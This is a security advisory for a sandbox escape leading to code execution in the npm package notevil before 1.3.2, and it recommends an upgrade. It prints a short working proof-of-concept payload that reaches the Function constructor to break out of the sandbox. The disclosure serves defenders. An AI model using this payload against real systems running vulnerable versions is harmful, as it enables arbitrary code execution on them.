# GHSA-7r5f-7qr4-pf6q: Sandbox Breakout / Arbitrary Code Execution in notevil

- Severity: High (rating, scored by GitHub)
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2020-09-03T19:03:33.000Z
- Modified: 2020-08-31T18:47:00.000Z

## Description

Versions of `notevil` prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the `Function` constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:  
```
var safeEval = require('notevil')
var input = "" + 
"function fn() {};" + 
"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;" + 
"var properties = Object.values(constructorProperty);" + 
"properties.pop();" + 
"properties.pop();" + 
"properties.pop();" + 
"var Function = properties.pop();" + 
"(Function('return this'))()"; 
safeEval(input)```


## Recommendation

Upgrade to version 1.3.2 or later.

(As written by GitHub Advisory Database.)

## Affected

- notevil (npm): before 1.3.2

## References

- <https://www.npmjs.com/advisories/1093> (web)

## Sources

- GitHub Advisory Database: [GHSA-7r5f-7qr4-pf6q](https://github.com/advisories/GHSA-7r5f-7qr4-pf6q), CC-BY-4.0, modified 2020-08-31

---

Page: https://cve.day/GHSA-7r5f-7qr4-pf6q · Whole record: https://cve.day/GHSA-7r5f-7qr4-pf6q.json · Rebuilt by cve.day 2026-11-25T22:56:44.588Z
